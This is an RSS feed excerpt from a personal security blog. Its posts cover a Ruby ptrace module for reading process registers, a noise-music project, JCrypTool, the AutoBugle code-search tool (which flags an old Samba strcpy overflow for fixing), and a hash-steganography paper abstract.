		<description><![CDATA[A couple of days ago I needed to get the state of the cpu registers of a running process during some specific events. The project I was playing with was written in ruby so I wrote a tiny little module that does just that, gives you the value of the requested cpu register. The module is called [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=450&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>A couple of days ago I needed to get the state of the cpu registers of a running process during some specific events. The project I was playing with was written in ruby so I wrote a tiny little module that does just that, gives you the value of the requested cpu register. The module is called <span style="color:#008000;">reginfo</span> and below is the process I followed to do it.</p>
<p>First I had to write the C part of it, for the instrumentation. A simple way to get the registers is to use <a href="http://linux.die.net/man/2/ptrace">ptrace</a>. First we <span style="color:#008000;">attach</span> to a process, then we <span style="color:#008000;">get</span> the register, then we <span style="color:#008000;">detach <span style="color:#000000;">and finally return the value.</span></span></p>
<p>For this to work as a ruby module we have to use the ruby.h</p>
<p><pre class="brush: cpp;">
#include &quot;ruby.h&quot;
#include &lt;unistd.h&gt;
#include &lt;linux/ptrace.h&gt;
#include &lt;sys/user.h&gt; 

VALUE RegInfo = Qnil;
void Init_reginfo();

VALUE method_getr(VALUE self,VALUE arg,VALUE pid);

void Init_reginfo()
{
        RegInfo = rb_define_module(&quot;RegInfo&quot;);
        rb_define_method(RegInfo, &quot;getr&quot;, method_getr,2 );
}

VALUE method_getr(VALUE self, VALUE arg, VALUE pid)
{
	char* input=RSTRING_PTR(arg);
	pid_t  process = NUM2INT(pid);
	struct user_regs_struct registers;
	long out=0;
	char outreg[10];
	ptrace(PTRACE_ATTACH,process,0,0); //attach to process
	waitpid(process,NULL,0);
	ptrace(PTRACE_GETREGS,process,&amp;registers,&amp;registers); //get'em
	if (!strncasecmp(input,&quot;eax&quot;,3)){out = registers.eax;}  //make sure we don't cmpr case
	else if (!strncasecmp(input,&quot;edx&quot;,3)){out = registers.edx;}
	else if (!strncasecmp(input,&quot;ebx&quot;,3)){out = registers.ebx;}
	else if (!strncasecmp(input,&quot;ecx&quot;,3)){out = registers.ecx;}
	else if (!strncasecmp(input,&quot;ebp&quot;,3)){out = registers.ebp;}
	else if (!strncasecmp(input,&quot;esi&quot;,3)){out = registers.esi;}
	else if (!strncasecmp(input,&quot;eip&quot;,3)){out = registers.eip;}
	else {out =  registers.eip;} //default
	ptrace(PTRACE_DETACH,process,0,0); //detach from process
	snprintf(outreg,10,&quot;%lx&quot;,out);
	return rb_str_new2(outreg);
}
</pre></p>
<div id="_mcePaste" style="position:absolute;left:-10000px;top:0;width:1px;height:1px;"><pre class="brush: cpp;">&lt;/pre&gt;
&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;</pre></div>
<p>Next it&#8217;s straight forward, we create an extconf.rb file which when we execute generates the Makefile which will compile our module.</p>
<p><pre class="brush: ruby;">
require 'mkmf'
extension_name = 'reginfo'
dir_config(extension_name)
create_makefile(extension_name)

</pre></p>
<p>And an example</p>
<p><pre class="brush: ruby;">
require 'reginfo'
include  RegInfo

pid = fork do
system(&quot;tail -f txt&quot;)
end

puts getr(&quot;eip&quot;,pid) #here we get EIP
</pre></p>
<p>The above  prints something like <span style="color:#008000;">b7f577d8</span></p>
<p>You can download reginfo from <a href="http://reginfo.googlecode.com/files/reginfo.so.gz">here</a>, the source code from <a href="http://reginfo.googlecode.com/files/reginfo-src.tar.gz">here</a> and project updates <a href="http://code.google.com/p/reginfo/">here</a>.</p>
<p><em><span style="color:#808080;">This is a very simple linux module at the moment that performs only this specific task, more functionality will be added soon. If you are looking for something a bit more elaborate, have a look at </span></em><a href="http://metasm.cr0.org/"><em><span style="color:#808080;">METASM</span></em></a><em><span style="color:#808080;">.</span></em></p>
<address><span style="font-family:Consolas, Monaco, 'Courier New', Courier, monospace;font-size:small;"><span style="line-height:18px;white-space:pre;"></p>
<p></span></span></address>
<br /> Tagged: module, registers, ruby <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/450/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/450/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/450/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=450&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2009/08/19/read-registers-with-ruby/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>The Art of Noise</title>
		<link>http://cipher.org.uk/2009/06/22/the-art-of-noise/</link>
		<comments>http://cipher.org.uk/2009/06/22/the-art-of-noise/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 19:17:45 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[computing]]></category>
		<category><![CDATA[noise]]></category>
		<category><![CDATA[sound]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/?p=252</guid>
		<description><![CDATA[This post is on different subject than the topics covered usually, it describes my entry to the Noise vs. Subversive Computing compilation. A couple of months ago Pascal Cretain invited me to participate in a very interesting project. A bunch of security people and a bunch of noise artists were going to collaborate, the mission [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=252&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><em><span style="color:#c0c0c0;">This post is on different subject than the topics covered usually, it describes my entry to the Noise vs. Subversive Computing compilation.</span></em></p>
<p>A couple of months ago <a href="http://www.myspace.com/pascalcretain">Pascal Cretain</a> invited me to participate in a very interesting project. A bunch of security people and a bunch of noise artists were going to collaborate, the mission was : The Noisicians will have &#8220;Subversive Computing&#8221; as their central theme, and the Subversive Technologists will work with &#8220;Noise&#8221;.</p>
<div id="attachment_282" class="wp-caption aligncenter" style="width: 225px"><img class="alignnone size-full wp-image-298" title="computationallyinfeasublerecords-215x300" src="http://cipherdotorgdotuk.files.wordpress.com/2009/06/computationallyinfeasublerecords-215x300.png?w=720" alt="computationallyinfeasublerecords-215x300"   /><p class="wp-caption-text">Noise vs. Subversive Computing</p></div>
<p>This may not sound very complex, but it is! Despite what we use noise for and what our perception of noise is, it is not easy to generate, compose and generally conceive it in a controlled and meaningful way. Cacophony or atonality can very quickly displease,  due to the surprise element which is usually generated by abnormal db fluctuations.</p>
<p>Having all these in mind, I start thinking of a way to create a natural sound (around noise) which will assist in creating a visually familiar image, without surprising the listener too much.</p>
<p>The idea that popped into my mind was to generate an audible version of a Rainbow. To do that I chose to use what it is known as the &#8220;<a href="http://en.wikipedia.org/wiki/Colors_of_noise">Colors of Noise</a>&#8220;, which refers to the power distribution in frequency spectrum of different types of noise.</p>
<p>If you think that it is easy to create different types of noise, then I have to assume that you haven&#8217;t tried. For my experiments I used the tools included in the <a href="http://ccrma.stanford.edu/planetccrma/software/">CCRMA</a>, and more specifically <a href="http://ccrma.stanford.edu/software/snd/snd/clm.html">CLM</a> (Common Lisp Music) and <a href="http://ccrma.stanford.edu/software/snd/">SND</a> (Sound editor).</p>
<p style="text-align:center;"><img style="border:0 initial initial;" title="sndscreenshot-takenfromsndsite-300x169" src="http://cipherdotorgdotuk.files.wordpress.com/2009/06/sndscreenshot-takenfromsndsite-300x169.png?w=300&#038;h=169" alt="sndscreenshot-takenfromsndsite-300x169" width="300" height="169" /></p>
<p>I also used several of the example scripts that come with these packages and in cases that I couldn&#8217;t create a specific &#8220;colour&#8221;, I used  a bit of artistic license and normal mixing (subtractive and additive) <code>e.g. yellow + red = orange. </code></p>
<p><strong>Example script to generate Green Noise (bounded brownian noise) :</strong><br />
<code><span style="color:green;">(definstrument (green3 start dur freq amp amp-env noise-freq noise-width noise-max-step)<br />
(let* ((grn (make-green-noise-interp :frequency noise-freq<br />
:amplitude noise-max-step<br />
:high (* 0.5 noise-width) :low (* -0.5 noise-width)))<br />
(osc (make-oscil freq))<br />
(e (make-env amp-env :scaler amp :duration dur))<br />
(beg (seconds-&gt;samples start))<br />
(end (+ beg (seconds-&gt;samples dur))))<br />
(run<br />
(lambda ()<br />
(do ((i beg (+ 1 i)))<br />
((= i end))<br />
(outa i (* (env e)<br />
(+ 1.0 (green-noise-interp grn))<br />
(oscil osc))))))))</span></code></p>
<p><code><span style="color:green;"> </span></code></p>
<p><code><span style="color:green;">(with-sound ()<br />
(green3 0 2.0 440 .5 '(0 0 1 1 2 1 3 0) 100 .2 .02))</span><br />
</code></p>
<p>Finally, all colours mix with the prior colour/s right after they introduce themselves.<br />
<code>Something like : Colours[0], Colours[1], Colours[0]+Colours[1], Colours[2], .........<br />
</code><br />
On the foreground , there is a minimalistic piano composition which tries to not distract too much from the background colours and helps in assisting the after rain &#8220;Rainbow&#8221; effect.</p>
<div id="attachment_232" class="wp-caption aligncenter" style="width: 310px"><img class="alignnone size-full wp-image-304" title="noisevssubversivecomputing-300x213" src="http://cipherdotorgdotuk.files.wordpress.com/2009/06/noisevssubversivecomputing-300x213.jpg?w=720" alt="noisevssubversivecomputing-300x213"   /><p class="wp-caption-text">Noise vs. Subversive Computing</p></div>
<p><strong>For more information</strong> about the project, the participants and their very interesting ideas,<br />
visit : <a href="http://www.myspace.com/pascalcretain">http://www.myspace.com/pascalcretain</a></p>
<p>The compilation has been released with<br />
<a href="http://www.myspace.com/pascalcretain">Computationally Infeasible Records</a></p>
<br /> Tagged: computing, noise, sound <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/252/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=252&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2009/06/22/the-art-of-noise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/06/computationallyinfeasublerecords-215x300.png" medium="image">
			<media:title type="html">computationallyinfeasublerecords-215x300</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/06/sndscreenshot-takenfromsndsite-300x169.png" medium="image">
			<media:title type="html">sndscreenshot-takenfromsndsite-300x169</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/06/noisevssubversivecomputing-300x213.jpg" medium="image">
			<media:title type="html">noisevssubversivecomputing-300x213</media:title>
		</media:content>
	</item>
		<item>
		<title>JCrypTool</title>
		<link>http://cipher.org.uk/2009/02/22/jcryptool/</link>
		<comments>http://cipher.org.uk/2009/02/22/jcryptool/#comments</comments>
		<pubDate>Sun, 22 Feb 2009 21:07:01 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[cryptanalysis]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/?p=107</guid>
		<description><![CDATA[Recently I&#8217;ve been invited by the CrypTool team to contribute to the JCrypTool project. I&#8217;ve been following CryptTool for some time and it is definitely one of the best tools to practice and experiment with cryptography and cryptanalysis. Looking at the latest JCrypTool version, it is apparent that there are vast design improvements, it is [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=107&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Recently I&#8217;ve been invited by the <a href="http://www.cryptool.com/">CrypTool</a> team to contribute to the <a href="http://jcryptool.sourceforge.net/">JCrypTool</a> project. I&#8217;ve been following CryptTool for some time and it is definitely one of the best tools to practice and experiment with cryptography and cryptanalysis.</p>
<p>Looking at the latest JCrypTool version, it is apparent that there are vast design improvements, it is also more modular, which makes the extensibility of the project a very easy task. There are several algorithms to use, symmetric, assymetric, hash, MAC etc. So there are lots of things to play with!</p>
<div id="attachment_137" class="wp-caption aligncenter" style="width: 310px"><img class="alignnone size-full wp-image-364" title="jcrypttool2-300x221" src="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool2-300x221.png?w=720" alt="jcrypttool2-300x221"   /> <img class="alignnone size-full wp-image-365" title="jcrypttool3-300x243" src="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool3-300x243.png?w=720" alt="jcrypttool3-300x243"   /><p class="wp-caption-text">Diffie-Hellman /AES</p></div>
<p>In the Cryptanalysis part of the tool, there is a Columnar Transposition module, Frequency analysis graphs, a<a href="http://en.wikipedia.org/wiki/Friedman_test">Friedman Test function</a> and a Vigenere analyser/helper, so there is space for additions. Speaking of additions, I particularly like the  <a href="http://jcryptool.wiki.sourceforge.net/ExtensionPointsAndArchitecture">plugins architecture</a> in use, which makes the project very interesting indeed.</p>
<div id="attachment_129" class="wp-caption aligncenter" style="width: 310px"><img class="alignnone size-full wp-image-367" title="jcrypttool1-300x182" src="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool1-300x182.png?w=720" alt="jcrypttool1-300x182"   /><img class="alignnone size-full wp-image-366" title="jcrypttool4-300x172" src="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool4-300x172.png?w=720" alt="jcrypttool4-300x172"   /><p class="wp-caption-text">Frequency Analysis / Shark </p></div>
<p>In the past, I developed a simple cryptanalysis <a href="http://www.cipher.org.uk/read/2006/04/04/jipher-v02a/">tool</a> which I am now intending to move into JCrypTool in the form of a plugin and possibly doing the same for a very old <a href="http://www.cipher.org.uk/read/2002/05/10/joystickcrypt/">project</a>.</p>
<p>I recommend you go and have a look at <a href="http://jcryptool.sourceforge.net/JCrypTool/Home.html">it</a><a>.</a></p>
<p><a></a></p>
<br /> Tagged: cryptanalysis, cryptography, tool <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/107/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=107&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2009/02/22/jcryptool/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool2-300x221.png" medium="image">
			<media:title type="html">jcrypttool2-300x221</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool3-300x243.png" medium="image">
			<media:title type="html">jcrypttool3-300x243</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool1-300x182.png" medium="image">
			<media:title type="html">jcrypttool1-300x182</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2009/02/jcrypttool4-300x172.png" medium="image">
			<media:title type="html">jcrypttool4-300x172</media:title>
		</media:content>
	</item>
		<item>
		<title>Source code review with AutoBugle</title>
		<link>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/</link>
		<comments>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/#comments</comments>
		<pubDate>Tue, 05 Feb 2008 22:23:40 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[bugle]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/read/2008/02/05/source-code-review-with-bugle/</guid>
		<description><![CDATA[Note: Auto Bugle is a discontinued project This article is kept just for reference. I will try to package the source code and give it as a download at some point. Some time ago I start creating a list of google queries (Bugle) people could use to hunt bugs in source code available in the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=61&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong><br />
Note: Auto Bugle is a discontinued project<br />
</strong><br />
<em> </em></p>
<p><em> </em></p>
<blockquote><p>This article is kept just for <strong>reference</strong>. I will try to package the source code and give it as a download at some point.</p></blockquote>
<hr />Some time ago I start creating a list of google queries (Bugle) people could use to hunt bugs in source code available in the web. The project started before Google Code Search, so the only way to point to source code was using the Filetype and <span style="text-decoration:underline;">? * .</span> operators which worked pretty well. After a couple  of months Google announced the Code Search service and the accompanied API which made things much more interesting. Using the new Google service people  can supply full regular expression when searching and pinpoint to Bugs a bit more accurately.</p>
<p>Anyway, to cut a long story short, utilising <a title="jQuery" href="http://jquery.com/">jQuery</a>, <a title="Google Code Search API" href="http://code.google.com/apis/codesearch/">Google Code Search API</a> and <a title="Bugle" href="http://www.cipher.org.uk/bugle/">Bugle</a>, I created an <span style="text-decoration:line-through;"><span style="color:#0000ff;">automated version</span></span> of the Bugle project which  looks as close as possible to a desktop based source code review tool.</p>
<p><img class="alignnone size-full wp-image-370" title="bugleautosnapshot1" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautosnapshot1.png?w=720" alt="bugleautosnapshot1"   /><br />
To demonstrate Bugle Automated I will be looking for bugs in Samba. The first step is to add the package you want to inspect in the Scan field, as you can see below there is Auto Complete functionality available suggesting possible packages while you type a name.</p>
<p><img class="alignnone size-full wp-image-371" title="bugleautostep1" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep1.png?w=720" alt="bugleautostep1"   /></p>
<p>After choosing a package, press scan an Bugle will do the rest.</p>
<p>The first screen you see is a bit empty , both the Main Panel and the Stats Panel will load as soon as you choose a vulnerability category from the left side. Bugle displays the number of issues of each category, so you can immediately get an general idea on where you might find a bug.</p>
<p><img class="alignnone size-medium wp-image-372" title="bugleautostep2" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep2.png?w=233&#038;h=300" alt="bugleautostep2" width="233" height="300" /></p>
<p>As soon as you choose a category a sub menu will be revealed, presenting all the different signatures in that category. At the same time the statistics Panel will load and all the relevant graphs for the project/categories and categories/signatures will be displayed.</p>
<p><img class="alignnone size-medium wp-image-373" title="bugleautostep6" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep6.png?w=300&#038;h=145" alt="bugleautostep6" width="300" height="145" /></p>
<p>Next we choose the Buffer Overflows category, with 205 hits and then the Generic BoF signature (with 50 hits). The Main Panel loads and then we can see each individual line with a possible bug. We scroll down until we find something that could be a vulnerability and click on that line.<br />
<img class="alignnone size-medium wp-image-374" title="bugleautostep4" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep4.png?w=300&#038;h=136" alt="bugleautostep4" width="300" height="136" /><br />
We click the Line 117 of samba-1.9.15p8.mvs/source/sockspy.c and we inspect the code in the Code Snippet dialog. Then we scroll down until we find the  line with the yellow highlighted text<br />
<img class="alignnone size-medium wp-image-375" title="bugleautostep5" src="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep5.png?w=300&#038;h=284" alt="bugleautostep5" width="300" height="284" /></p>
<p>We can see that   strcpy(DestHost,argv[1]);  is copying the arv[1] into the DestHost buffer which has 256 chars size. Now we can guess that if we pass in the command line DestHost larger than 256 chars we can create a buffer overflow condition. (Note that this bug in sockspy.c is in a very very very old version of Samba)</p>
<p>That&#8217;s <span style="color:#0000ff;"><span style="text-decoration:line-through;">Bugle Auto Scanner</span></span>, hopefully this will assist in discovering and fixing bugs out there.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/61/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/61/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/61/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=61&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2008/02/05/source-code-review-with-bugle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautosnapshot1.png" medium="image">
			<media:title type="html">bugleautosnapshot1</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep1.png" medium="image">
			<media:title type="html">bugleautostep1</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep2.png?w=233" medium="image">
			<media:title type="html">bugleautostep2</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep6.png?w=300" medium="image">
			<media:title type="html">bugleautostep6</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep4.png?w=300" medium="image">
			<media:title type="html">bugleautostep4</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2008/02/bugleautostep5.png?w=300" medium="image">
			<media:title type="html">bugleautostep5</media:title>
		</media:content>
	</item>
		<item>
		<title>Using Steganography to Improve HASH Functions’ collision resistance</title>
		<link>http://cipher.org.uk/2007/08/08/using-steganography-to-improve-hash-functions%e2%80%99-collision-resistance/</link>
		<comments>http://cipher.org.uk/2007/08/08/using-steganography-to-improve-hash-functions%e2%80%99-collision-resistance/#comments</comments>
		<pubDate>Wed, 08 Aug 2007 22:38:28 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Publications]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/?p=197</guid>
		<description><![CDATA[Abstract: Lately, hash function security has received increased attention. Especially after the recent attacks that were presented for SHA-1 and MD5, the need for a new and more robust hash function has become imperative. Even though many solutions have been proposed as replacements, the transition to a new function could be costly and complex. In [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=197&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Abstract:<br />
Lately, hash function security has received increased attention. Especially after the recent attacks that were presented for SHA-1 and MD5, the need for a new and more robust hash function has become imperative. Even though many solutions have been proposed as replacements, the transition to a new function could be costly and complex.</p>
<p>In this paper, we introduce a mode of operation that can be applied to any existing or future hash function in order to improve its collision resistance. In particular, we use steganography, the art of hiding a message into another message, to create a scheme, named Σ-Hash, which enforces the security of hashing algorithms. We will demonstrate how, apart from hash function security, Σ-Hash can also be used for securing Open Source code from tampering attacks and other applications.</p>
<p><em>Conference: SECRYPT &#8211; International Conference on Security and Cryptography, Spain 2007<br />
Authors: <a href="http://www.cipher.org.uk">Emmanouel Kellinis</a> and Konstantinos Papapanagiotou </em></p>
<p>If you need more information about this paper, <a href="http://www.cipher.org.uk/write/">get in touch</a>.</p>
